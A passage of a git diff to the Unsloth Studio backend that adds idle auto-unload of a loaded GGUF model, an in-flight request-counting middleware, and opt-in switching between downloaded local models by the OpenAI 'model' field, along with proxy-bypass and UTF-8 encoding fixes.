scope[_UNTRACKED_SCOPE_KEY] = True + _note_untracked_end() + + +def inference_lifecycle_gate(): + """The gate a model swap holds so new inference can't start mid-load. Process- + wide, so a swap on one loop blocks inference starting on any other loop.""" + return _unload_gate() + + +def note_model_loaded() -> None: + """Record a successful GGUF load: stamp activity and drop any reload stash so + a manual load clears it synchronously, not only on the next idle poll.""" + _note_activity() + _set_last_unloaded(None) + + +def note_model_unloaded() -> None: + """Record a deliberate (user/API) unload: drop any idle reload stash so the next + request can't resurrect the just-unloaded model. The idle loop unloads via the + backend directly and then stashes the freed model for an alias reload; an + explicit unload instead means "stay unloaded", so it must not stamp activity.""" + _set_last_unloaded(None) + + +def get_last_unloaded_model(): + with _lock: + return _last_unloaded_model + + +def _set_last_unloaded(value) -> None: + global _last_unloaded_model + with _lock: + _last_unloaded_model = value + + +class LlamaKeepWarmMiddleware: + """Pure ASGI: count in-flight inference requests and stamp activity on completion.""" + + def __init__(self, app): + self.app = app + + async def __call__(self, scope, receive, send): + # Inference endpoints are all POST; skipping non-POST avoids counting CORS + # preflight (OPTIONS). ``or ""`` guards an explicit None path. + if ( + scope.get("type") != "http" + or scope.get("method") != "POST" + or not _is_inference_path(scope.get("path") or "") + ): + await self.app(scope, receive, send) + return + # Always track in-flight on inference paths, even when the feature is off, + # so a stream that starts before idle-unload is enabled can't be unloaded + # mid-response if the operator turns it on during that stream. Counting is + # cheap and invisible to clients (the response is proxied unchanged). + # Mark pending before the gate so the idle loop (which holds the gate while + # unloading) can't free the model while this request is waiting to start. + _note_pending() + started = False + try: + async with _unload_gate(): + _note_start() + started = True + finally: + if not started: + _note_unpending() + ended = {"done": False} + status = {"code": None} + + def _finish() -> None: + # A route that untracked itself already decremented; don't double-count. + if ended["done"]: + return + ended["done"] = True + if scope.get(_UNTRACKED_SCOPE_KEY): + return + # This middleware runs before FastAPI auth, so a 401/403 reaches here + # without ever touching llama.cpp. Decrement the in-flight count (to + # balance _note_start) but do NOT stamp activity, or repeated + # unauthenticated probes on an exposed server would keep the model warm + # and never let idle-unload free VRAM. + if status["code"] in (401, 403): + _note_untracked_end() + else: + _note_end() + + async def send_wrapper(message): + if message.get("type") == "http.response.start": + status["code"] = message.get("status") + # Final body frame marks the end of a (possibly streaming) response. + elif message.get("type") == "http.response.body" and not message.get( + "more_body", False + ): + _finish() + await send(message) + + try: + await self.app(scope, receive, send_wrapper) + finally: + _finish() + + +def _loaded_identity(backend): + if not backend.is_loaded or not backend.model_identifier: + return None + # Third slot is the advertised id (repo id) an auto-switch load sets on the + # backend; it's the override key, so an idle stash keyed by the concrete load + # path doesn't drop the user's saved launch flags on the alias reload. + advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier + return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised) + + +async def idle_unload_loop(poll_seconds: float = 15.0) -> None: + """Unload the loaded GGUF once idle past the configured TTL. Inert when off.""" + from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds + + seen_model = None + while True: + await asyncio.sleep(poll_seconds) + try: + ttl = get_auto_unload_idle_seconds() + if ttl <= 0: + continue + from routes.inference import get_llama_cpp_backend + + backend = get_llama_cpp_backend() + # Track by (id, variant): a (re)loaded model -- including the same repo + # at a different quant -- counts as activity so it survives one TTL + # before its first request (loads bypass the activity middleware). + current = _loaded_identity(backend) + if current != seen_model: + seen_model = current + if current is not None: + _note_activity() + _set_last_unloaded(None) # a model is loaded; drop stale stash + async with _unload_gate(): + if backend.is_loaded and _is_idle(ttl): + freed = _loaded_identity(backend) + await asyncio.to_thread(backend.unload_model) + _set_last_unloaded(freed) # let an alias request reload it + logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl) + seen_model = None + except Exception as exc: + logger.debug("idle_unload_loop iteration failed: %s", exc) diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py new file mode 100644 index 0000000000..002cafe2c8 --- /dev/null +++ b/studio/backend/core/inference/local_model_resolver.py @@ -0,0 +1,269 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF. + +Used by the opt-in auto-switch path. The match is conservative: only names +that map to an already-downloaded local GGUF (and a quant that is actually on +disk) are eligible, so an arbitrary OpenAI model string still falls through to +the loaded model (drop-in compat) and no surprise multi-GB download is ever +triggered. The local-model scan is cached for a few seconds since auto-switch +consults it per request. +""" + +from __future__ import annotations + +import threading +import time +from dataclasses import dataclass +from typing import Optional + +from core.inference.model_ids import public_model_id +from loggers import get_logger + +logger = get_logger(__name__) + + +@dataclass(frozen = True) +class _LocalGgufEntry: + loader_id: str # advertised id (repo id / folder name), also the override key + load_path: str # concrete on-disk dir/file passed to /load so it never downloads + variants: tuple[str, ...] # local quant labels; () for a standalone .gguf + + +_CACHE_TTL_S = 5.0 +_lock = threading.Lock() +_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {}) + + +def _is_abs_path_id(value: str) -> bool: + """True when an id is an absolute filesystem path (the ./models and LM Studio + scanners use the on-disk path as the id) rather than a repo id like org/name.""" + from pathlib import Path + try: + return Path(value).is_absolute() + except Exception: + return False + + +def _advertised_loader_id(info) -> Optional[str]: + """The id to advertise for a scanned model: prefer a client-facing alias over + an absolute filesystem path so /v1/models and the override key never expose a + host path (the ./models and LM Studio scanners report the path as info.id).""" + raw_id = getattr(info, "id", None) + if not raw_id or not _is_abs_path_id(raw_id): + return raw_id + for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)): + if alt and not _is_abs_path_id(alt): + return alt + # No clean alias: strip to a path-free public id so a host path is never advertised. + return public_model_id(raw_id) or raw_id + + +def _resolve_load_dir(p): + """The concrete dir holding the GGUFs. For an HF cache repo (``models--*`` + with ``snapshots/``) this is the latest snapshot dir, so /load takes the + local branch instead of the download-capable repo-id branch.""" + from pathlib import Path + + try: + if (p / "snapshots").is_dir(): + from routes.models import _resolve_hf_cache_realpath + real = _resolve_hf_cache_realpath(p) + if real: + return Path(real) + except Exception: + pass + return p + + +def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]: + """Build an entry only when GGUF quants are on disk (not Transformers/ + safetensors), listing only on-disk quants. ``load_path`` is a concrete local + path so /load resolves the variant locally and never fetches a remote one.""" + from pathlib import Path + from utils.models.model_config import _is_mmproj, list_local_gguf_variants + + path = getattr(info, "path", None) + if not isinstance(path, str): + return None + p = Path(path) + try: + if p.is_file(): + # A standalone .gguf loads by its own path; no quant sub-selection. An + # mmproj companion (vision/audio projector) is not a servable model on + # its own: _scan_models_dir's standalone-file pass does not filter it + # the way the directory scan does, so reject it here or /v1/models would + # advertise a projector and a switch could load it instead of the weights, + # evicting the loaded model. The directory branch below is already mmproj + # free (list_local_gguf_variants drops mmproj quants). + if p.suffix.lower() != ".gguf" or _is_mmproj(p.name): + return None + return _LocalGgufEntry(loader_id, str(p), ()) + load_dir = _resolve_load_dir(p) + variants, _ = list_local_gguf_variants(str(load_dir)) + quants = tuple(v.quant for v in variants if getattr(v, "quant", None)) + return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None + except Exception: + return None + + +def info_has_local_gguf(info) -> bool: + """True when *info* (a LocalModelInfo) points to on-disk GGUF weights the + auto-switch path can load. Read from the files, not ``info.model_format``: the + HF-cache scanner leaves model_format unset for GGUF snapshots, so a + model_format filter would drop every cached GGUF. Lets /v1/models advertise + exactly what /v1 can serve.""" + from pathlib import Path + + path = getattr(info, "path", None) + # Ollama-link entries come from a scanner _build_index intentionally skips (it + # creates symlinks on the request path), so their advertised ids never resolve. + # Don't report them as servable, or /v1/models would list unswitchable models. + if isinstance(path, str) and any( + seg in (".studio_links", "ollama_links") for seg in Path(path).parts + ): + return False + return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None + + +def _build_index() -> dict[str, _LocalGgufEntry]: + """Map normalized id/model_id/display_name -> local GGUF entry. + + Scans the same roots Studio's model picker lists (./models, the active plus + legacy/default HF caches, LM Studio dirs, and user scan folders) so a named + local model is never missed and silently served as the loaded one. Ollama's + scanner is skipped: it creates symlinks as a side effect and this runs on the + request path. + """ + # Lazy import: routes.models imports core.inference, so import at call time. + from pathlib import Path + from routes.models import ( + _scan_models_dir, + _scan_hf_cache, + _scan_lmstudio_dir, + _resolve_hf_cache_dir, + _is_hidden_model, + ) + from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs + + index: dict[str, _LocalGgufEntry] = {} + seen_hf: set[str] = set() + + def _scan_hf_once(directory) -> list: + if directory is None: + return [] + try: + d = Path(directory) + if not d.is_dir(): + return [] + rp = str(d.resolve()) + if rp in seen_hf: + return [] + seen_hf.add(rp) + return _scan_hf_cache(directory) + except Exception as exc: # a missing/malformed root must skip, never crash the index + logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc) + return [] + + # Each source is guarded on its own so one bad root (a permission error, a + # malformed cache) drops only that source, not the whole index. + found: list = [] + try: + found += _scan_models_dir(Path("./models").resolve()) + except Exception as exc: + logger.debug("auto-switch: ./models scan failed: %s", exc) + try: + for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()): + found += _scan_hf_once(hf_dir) + except Exception as exc: + logger.debug("auto-switch: HF cache scan failed: %s", exc) + try: + for lm_dir in lmstudio_model_dirs(): + found += _scan_lmstudio_dir(lm_dir) + except Exception as exc: + logger.debug("auto-switch: LM Studio scan failed: %s", exc) + try: + from storage.studio_db import list_scan_folders + for folder in list_scan_folders(): + try: + fp = Path(folder["path"]) + found += ( + _scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp) + ) + except Exception as exc: + logger.debug("auto-switch: scan folder %r failed: %s", folder, exc) + except Exception as exc: + logger.debug("auto-switch: scan folders enumerate failed: %s", exc) + for info in found: + raw_id = getattr(info, "id", None) + if not raw_id: + continue + # Skip what Studio hides from its pickers (validation probe, RAG embed + # weights): not chat models, so never an auto-switch target. + if _is_hidden_model(raw_id, getattr(info, "path", None)): + continue + # Advertise a client-facing alias, not an absolute filesystem path. + loader_id = _advertised_loader_id(info) + entry = _local_gguf_entry(loader_id, info) + if entry is None: + continue + # Index every alias (including the path) so a client can resolve by any of + # them, even though only the non-path loader_id is advertised. + for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)): + if key: + index.setdefault(key.strip().lower(), entry) + return index + + +def _index() -> dict[str, _LocalGgufEntry]: + global _scan + # Build under the lock so concurrent callers with an expired cache don't all + # run the (multi-dir) scan at once; the rest wait and reuse the fresh result. + with _lock: + now = time.monotonic() + ts, cached = _scan + if now - ts < _CACHE_TTL_S: + return cached + fresh = _build_index() + # Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on + # an install with many local models can itself exceed the TTL, which would + # store the cache already expired and make every request rebuild the index. + _scan = (time.monotonic(), fresh) + return fresh + + +def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]: + """Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None. + + ``load_path`` is the concrete on-disk path to hand /load (so it never fetches + a remote), ``loader_id`` is the advertised id used as the launch-override key. + ``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first + (so ids containing a colon still resolve); else the last ``:VARIANT`` is split + off and resolves only when that quant is on disk. + """ + if not isinstance(requested, str) or not requested.strip(): + return None + requested = requested.strip() + try: + index = _index() + entry = index.get(requested.lower()) + if entry is not None: + variant = entry.variants[0] if entry.variants else None + return entry.load_path, variant, entry.loader_id + + base, sep, variant = requested.rpartition(":") + if not sep: + return None + entry = index.get(base.strip().lower()) + if entry is None: + return None + wanted = variant.strip().lower() + for v in entry.variants: + if v.lower() == wanted: + return entry.load_path, v, entry.loader_id + return None + except Exception: + # Best-effort: any resolver failure falls through to the loaded model, + # so a malformed name can never turn a servable request into a 500. + return None diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py index e29c9c9a7a..6d1512a770 100644 --- a/studio/backend/core/rag/captioner.py +++ b/studio/backend/core/rag/captioner.py @@ -128,6 +128,8 @@ def _vision_complete( json = payload, timeout = timeout, headers = _vision_auth_headers(), + # trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY. + trust_env = False, ) r.raise_for_status() text = r.json()["choices"][0]["message"]["content"] diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py index c2e4ecc740..f53478463c 100644 --- a/studio/backend/core/rag/embed_llama_server.py +++ b/studio/backend/core/rag/embed_llama_server.py @@ -61,9 +61,8 @@ class LlamaServerBackend: self._binary: str | None = None # Sticky after an auto GPU start fails: later spawns stay on CPU. self._force_cpu = False - # Pooled client; requests pass full URLs, so a respawn's new port needs - # no rebuild. - self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S) + # Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY. + self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False) atexit.register(self._shutdown) @property @@ -305,7 +304,8 @@ class LlamaServerBackend: logger.error("llama-server embedder exited early (code %s)", code) return False try: - if httpx.get(url, timeout = 2.0).status_code == 200: + # trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe. + if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200: return True except (*_TRANSPORT_ERRORS, httpx.TimeoutException): pass diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py index 6f55daee39..20b2305a5a 100644 --- a/studio/backend/core/training/trainer.py +++ b/studio/backend/core/training/trainer.py @@ -3672,7 +3672,7 @@ class UnslothTrainer: return try: - with open(config_path, "r") as f: + with open(config_path, "r", encoding = "utf-8") as f: config = json.load(f) # Determine training method @@ -3686,7 +3686,7 @@ class UnslothTrainer: config["unsloth_training_method"] = method logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'") - with open(config_path, "w") as f: + with open(config_path, "w", encoding = "utf-8") as f: json.dump(config, f, indent = 2) except Exception as e: diff --git a/studio/backend/main.py b/studio/backend/main.py index 0a5b775775..5402e5eb7b 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -24,6 +24,18 @@ os.environ["PYTHONWARNINGS"] = "ignore" # process is covered before its heavy ML imports. os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID") +# Windows terminals default to the active system code page. Reconfigure +# stdout/stderr before the startup banner so non-ASCII output cannot crash the +# backend process. +if sys.platform == "win32": + for _win_stream in (sys.stdout, sys.stderr): + if _win_stream is not None and hasattr(_win_stream, "reconfigure"): + try: + _win_stream.reconfigure(encoding = "utf-8", errors = "replace") + except Exception: + pass + del _win_stream + # ── Windows AMD ROCm DLL injection ────────────────────────────────────────── # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import. @@ -520,6 +532,11 @@ async def lifespan(app: FastAPI): _start_helper_precache_if_enabled() threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start() + # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set). + from core.inference.llama_keepwarm import idle_unload_loop + + app.state.idle_unload_task = asyncio.create_task(idle_unload_loop()) + # Initialize RSA key pair for API key encryption (external providers). from core.inference.key_exchange import init_key_pair @@ -549,6 +566,14 @@ async def lifespan(app: FastAPI): ) yield + _idle_task = getattr(app.state, "idle_unload_task", None) + if _idle_task is not None: + _idle_task.cancel() + try: + await _idle_task + except asyncio.CancelledError: + pass + from core.inference.llama_http import aclose as _close_llama_http await _close_llama_http() @@ -871,6 +896,11 @@ app.add_middleware( upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes, ) +# Tracks in-flight inference requests for idle auto-unload; off -> passthrough. +from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402 + +app.add_middleware(LlamaKeepWarmMiddleware) + from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402 diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index b67b607b75..43991fe6c2 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -19,6 +19,7 @@ import httpx from loggers import get_logger import asyncio import threading +import weakref import re as _re @@ -2274,6 +2275,411 @@ def get_llama_cpp_backend() -> LlamaCppBackend: return _llama_cpp_backend +# Serializes opt-in auto-switch loads so two requests can't race a swap. One +# lock per running loop, since a module-level asyncio.Lock binds to a single +# loop and breaks multi-loop runners (e.g. pytest's per-test loops on pre-3.10). +_auto_switch_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_auto_switch_locks_guard = threading.Lock() + + +def _auto_switch_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + # WeakKeyDictionary mutation isn't thread-safe; guard get-or-create so two + # loops on different threads can't race it. + with _auto_switch_locks_guard: + lock = _auto_switch_locks.get(loop) + if lock is None: + lock = _auto_switch_locks[loop] = asyncio.Lock() + return lock + + +# Process-wide gate so a swap on another event loop in this process can't race +# this one for the single model slot: the asyncio lock above is per loop, but the +# backend slot and _load_model_impl are process-wide. threading.Lock so it serializes +# across loops/threads; released from the loop thread (Lock allows cross-thread release). +_auto_switch_process_lock = threading.Lock() + + +async def _acquire_swap_gate() -> None: + # Non-blocking first for the common single-loop case; otherwise poll off a + # short sleep rather than awaiting to_thread(acquire). A cancelled to_thread + # (client disconnect mid-wait) leaves its worker thread still acquiring, so the + # gate gets taken but the finally that releases it never runs -- deadlocking + # later swaps. Polling keeps the wait off this loop AND cancellation-safe: a + # cancel lands during the sleep, when the gate is not held. + while not _auto_switch_process_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + + +# Counts in-flight auto-switch requests per (target, variant). The busy guard +# subtracts same-target waiters so concurrent requests for one model load once +# instead of each 409-ing the other. +_auto_switch_waiters: dict[tuple[str, str], int] = {} +_auto_switch_waiters_guard = threading.Lock() + + +def _switch_key(override_id: str, variant: Optional[str]) -> tuple[str, str]: + return (override_id.lower(), (variant or "").lower()) + + +def _note_switch_waiter(key: tuple[str, str], delta: int) -> None: + with _auto_switch_waiters_guard: + n = _auto_switch_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_waiters[key] = n + else: + _auto_switch_waiters.pop(key, None) + + +def _same_target_waiters(key: tuple[str, str]) -> int: + with _auto_switch_waiters_guard: + return _auto_switch_waiters.get(key, 0) + + +# A second waiter map keyed by the raw requested model, registered before the +# (slow) resolve. The middleware counts a concurrent same-model request as +# in-flight before it resolves and joins _auto_switch_waiters, so without this +# the first request would see it as an unrelated request and 409. +_auto_switch_request_waiters: dict[str, int] = {} +_auto_switch_request_waiters_guard = threading.Lock() + + +def _request_waiter_key(requested_model: str) -> str: + return requested_model.strip().lower() + + +def _note_request_waiter(key: str, delta: int) -> None: + with _auto_switch_request_waiters_guard: + n = _auto_switch_request_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_request_waiters[key] = n + else: + _auto_switch_request_waiters.pop(key, None) + + +def _same_request_waiters(key: str) -> int: + with _auto_switch_request_waiters_guard: + return _auto_switch_request_waiters.get(key, 0) + + +def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]: + """The id to report for the loaded GGUF in API responses: the advertised repo + id from an auto-switch load, else the cleaned public id, never the on-disk + .gguf path (see core.inference.model_ids.public_model_id).""" + return ( + getattr(llama_backend, "_openai_advertised_id", None) + or public_model_id(getattr(llama_backend, "model_identifier", None)) + or public_model_id(fallback) + or fallback + ) + + +_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY = "_unsloth_disable_openai_auto_switch" +# Sentinel a raw-body endpoint passes when the request omits ``model``: it must +# only restore an idle-freed model, never run the resolver (so a downloaded GGUF +# literally named "default" can't be swapped to). The NUL keeps it off any index. +_RELOAD_ONLY_MODEL = "\x00reload-only" + + +def _switch_model_for_payload(payload) -> str: + # A pydantic request fills an omitted ``model`` with "default"; only an + # explicitly set model may switch, else reload-only so a GGUF named "default" + # is never matched (mirrors the raw-body sentinel path). + return payload.model if "model" in payload.model_fields_set else _RELOAD_ONLY_MODEL + + +def _target_is_vision(load_path: str) -> bool: + # A local GGUF's vision capability is its companion mmproj, a filesystem check + # (no model load). Matches the loaded backend's is_vision, so rejecting a swap + # here can't differ from the post-load guard. Thread the ambient HF token so the + # probe keeps the capability-probe invariant (the resolver only yields local + # paths, where the token is unused, but the rule requires it regardless). + from utils.models.model_config import is_vision_model + try: + return bool(is_vision_model(load_path, hf_token = os.environ.get("HF_TOKEN"))) + except Exception as exc: + # Detection failure: don't block the swap, let the load decide. + logger.debug("auto-switch: vision probe failed for %s: %s", load_path, exc) + return True + + +def _messages_have_image(messages) -> bool: + return any( + isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content) + for m in messages + ) + + +def _request_has_image(payload) -> bool: + if getattr(payload, "image_base64", None): + return True + return _messages_have_image(payload.messages) + + +def _anthropic_request_has_image(payload) -> bool: + # Mirror anthropic_messages_to_openai: an Anthropic image block carries + # ``type == "image"`` (typed AnthropicImageBlock or a raw dict). + for msg in getattr(payload, "messages", None) or []: + content = getattr(msg, "content", None) + if not isinstance(content, list): + continue + for block in content: + bt = block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + if bt == "image": + return True + return False + + +def disable_openai_auto_switch_for_request(scope) -> None: + """Opt a request out of OpenAI auto-switch. The public preview route uses this: + it always serves its pinned checkpoint, so a caller-supplied model must never + swap the loaded model.""" + if isinstance(scope, dict): + scope[_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY] = True + + +def _automatic_model_load_may_run() -> bool: + """True when a request can trigger an automatic load: either resolver-based + auto-switch is on, or a standalone idle TTL can reload an idle-freed model. The + validate-before-switch guards key off this so an invalid request never loads.""" + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + ) + return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0 + + +async def _maybe_auto_switch_model( + requested_model: Optional[str], + fastapi_request: Request, + current_subject: str, + *, + require_vision: bool = False, +) -> None: + """Load a downloaded local GGUF named by an OpenAI request when auto-switch is on. + + No-op unless enabled and ``requested_model`` resolves to a downloaded local + model different from the loaded one. Unknown names fall through (drop-in + compat) and no remote download is triggered. ``require_vision`` rejects a swap + to a text-only target before it runs, so an image request can't evict the + resident vision model only to 400 afterwards. + """ + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + get_model_override, + ) + from core.inference.local_model_resolver import resolve_local_gguf + from core.inference.llama_keepwarm import ( + get_last_unloaded_model, + other_inference_request_count, + inference_lifecycle_gate, + ) + + # Treat a non-string model (e.g. {"model": 123} on a raw-body endpoint) as + # absent so it falls through instead of raising in the membership checks below. + if not isinstance(requested_model, str) or not requested_model: + return + # The public preview route opts out so a caller cannot switch away from the + # pinned preview checkpoint it just loaded. + scope = getattr(fastapi_request, "scope", None) + if isinstance(scope, dict) and scope.get(_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY): + return + auto_switch_on = get_openai_auto_switch_enabled() + # The reload-stash path also runs when idle-unload is active on its own (a + # standalone UNSLOTH_MODEL_IDLE_TTL with auto-switch off), so a model the idle + # loop freed is restored on the next request. The resolver-based switch still + # requires the auto-switch toggle. + if not auto_switch_on and get_auto_unload_idle_seconds() <= 0: + return + + # Register by the raw requested model before resolving (which can be slow): + # the middleware already counts a concurrent same-model request as in-flight, + # so the busy guard must know it shares this target even while it resolves. + request_key = _request_waiter_key(requested_model) + _note_request_waiter(request_key, 1) + try: + # Off the loop: a cold-cache rebuild walks several model dirs + HF caches. + # With auto-switch off (or an omitted-model reload-only request), skip the + # resolve so only the reload-stash path runs and no name is ever matched. + reload_only = requested_model == _RELOAD_ONLY_MODEL + resolved = ( + await asyncio.to_thread(resolve_local_gguf, requested_model) + if auto_switch_on and not reload_only + else None + ) + if resolved is None: + # Idle-unload may have freed the model; reload exactly what it freed + # (path + quant + advertised id) so an alias/unknown name stays servable + # and keeps the override keyed by the advertised id, not the load path. + last = get_last_unloaded_model() + # A non-GGUF (Unsloth/Transformers) model loaded after the idle-unload + # leaves the GGUF slot empty but is the live model, so don't resurrect + # the stale GGUF over it (that load would tear the active model down). + if ( + not last + or get_llama_cpp_backend().is_loaded + or getattr(get_inference_backend(), "active_model_name", None) + ): + return + if len(last) == 3: + target_id, variant, override_id = last + else: # pre-3-tuple stash: fall back to the path as the override key + target_id, variant = last + override_id = target_id + else: + # load_path is a concrete local path (never the bare repo id), so /load + # takes the local branch and cannot trigger a download. override_id is the + # advertised repo id, the launch-override key and the public model id. + target_id, variant, override_id = resolved + backend = get_llama_cpp_backend() + # A bare model id (no :VARIANT) is satisfied by any loaded quant of that + # repo, so it never reloads a different local quant that already serves it. + bare = ":" not in requested_model + + def _already_serving() -> bool: + # Match against both the concrete load path and the advertised repo id, + # so a model loaded manually by repo id (identifier = repo id) and one + # loaded by auto-switch (identifier = path, advertised = repo id) both + # count as already serving rather than triggering a needless reswap. + if not backend.is_loaded or not backend.model_identifier: + return False + loaded_keys = {backend.model_identifier.lower()} + advertised = getattr(backend, "_openai_advertised_id", None) + if advertised: + loaded_keys.add(advertised.lower()) + if loaded_keys.isdisjoint({target_id.lower(), override_id.lower()}): + return False + if bare: + return True + if variant: + loaded_variant = (getattr(backend, "hf_variant", None) or "").lower() + return loaded_variant == variant.lower() + return True + + def _record_serving_alias() -> None: + # When an advertised alias already resolves to the loaded model (e.g. a + # model loaded by local path, requested by its repo/LM Studio id), record + # the alias as the public id so /v1/models and responses report it (and + # mark it loaded) instead of the path-derived basename. Resolver branch + # only: the reload-stash override_id can be the bare path, not a repo id. + # Lock-free is safe here: an in-flight request blocks any concurrent swap + # (single-slot busy guard), so the loaded model can't change under this. + if resolved is None or not override_id: + return + b = get_llama_cpp_backend() + if getattr(b, "_openai_advertised_id", None) != override_id: + b._openai_advertised_id = override_id + + if _already_serving(): + _record_serving_alias() + return + # An image/audio request naming a different text-only GGUF would load it + # here and only 400 below, evicting the working model. Reject before the + # swap. Only the resolver branch (an explicit new target); the reload-stash + # path just restores the model the request was already using. Both vision and + # audio input come from a companion mmproj (a filesystem probe) -- run it off + # the loop, like the resolver above. + if ( + require_vision + and resolved is not None + and not await asyncio.to_thread(_target_is_vision, target_id) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "The requested model does not support the image or audio input in this request.", + status = 400, + code = "invalid_value", + param = "model", + ), + ) + key = _switch_key(override_id, variant) + _note_switch_waiter(key, 1) + try: + async with _auto_switch_lock(): + # The asyncio lock is per loop; add a process-wide gate so a swap on + # another loop in this process can't race the single slot. + await _acquire_swap_gate() + try: + # Hold the keep-warm gate across the swap so no new inference can + # start on the model while it is being torn down and replaced. + async with inference_lifecycle_gate(): + if _already_serving(): + _record_serving_alias() + return + # Single slot: refuse a cross-model swap while another inference + # request is active rather than killing its response. Requests + # heading to this same target (by resolved id or raw name) are + # excluded, so concurrent requests for one model load once. A + # pending request is still in the middleware, not generating, so + # it is not counted here. + same_others = max( + _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0 + ) + others = other_inference_request_count( + current_request_counted = True, include_pending = False + ) + # Not gated on the GGUF being loaded: _load_model_impl also + # tears down an active Unsloth backend before loading a GGUF, + # so refuse whenever any other inference request is in flight. + if others > same_others: + raise HTTPException( + status_code = 409, + detail = openai_error_body( + "Cannot switch models while another inference request is in progress.", + status = 409, + code = "model_switch_busy", + param = "model", + ), + ) + # Apply this model's saved launch flags so the swap honors the config. + override = get_model_override(override_id) + load_kwargs = {"model_path": target_id, "gguf_variant": variant} + if override.get("llama_extra_args") is not None: + load_kwargs["llama_extra_args"] = override["llama_extra_args"] + if override.get("max_seq_length") is not None: + load_kwargs["max_seq_length"] = override["max_seq_length"] + # Reuse the load impl so its dedup, tensor fallback, and threading + # apply. Call the impl directly: we already hold the lifecycle gate + # the /load route would otherwise take, so the route would deadlock. + await _load_model_impl( + LoadRequest(**load_kwargs), + fastapi_request, + current_subject, + ) + # Advertise the repo id (not the concrete load path) as the loaded + # model's public id and override key for /v1/models and idle stash. + get_llama_cpp_backend()._openai_advertised_id = override_id + finally: + _auto_switch_process_lock.release() + finally: + _note_switch_waiter(key, -1) + finally: + _note_request_waiter(request_key, -1) + + +async def _auto_switch_from_request_body(request: Request, current_subject: str): + """Run auto-switch from a raw-body endpoint's ``model`` without changing its + pre-feature status codes: a malformed/non-dict body yields no model (so an + unloaded backend still 503s, not 500), and the caller re-reads to surface the + original parse error after the loaded-state check. Returns the parsed body, or + None if it could not be parsed.""" + try: + body = await request.json() + except (json.JSONDecodeError, ValueError): + return None + if isinstance(body, dict): + # A raw-body client may omit ``model`` and rely on the loaded backend. Pass + # a reload-only sentinel so the idle-stash reload still runs (an idle-freed + # model is restored) without the resolver ever matching a real name. + model = body.get("model") or _RELOAD_ONLY_MODEL + else: + model = None + await _maybe_auto_switch_model(model, request, current_subject) + return body + + def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool: """Effective quantization the loader will use: a LoRA adapter can flip 4-bit to 16-bit via adapter_config.json, so the guard sizes this, not the raw request.""" @@ -2516,6 +2922,15 @@ async def load_model( GGUF models load via llama-server (llama.cpp) instead of Unsloth. """ + # Hold the lifecycle gate across the load so idle auto-unload can't unload the + # model mid-load. Auto-switch calls _load_model_impl directly since it already + # holds this gate. + from core.inference.llama_keepwarm import inference_lifecycle_gate + async with inference_lifecycle_gate(): + return await _load_model_impl(request, fastapi_request, current_subject) + + +async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str): from 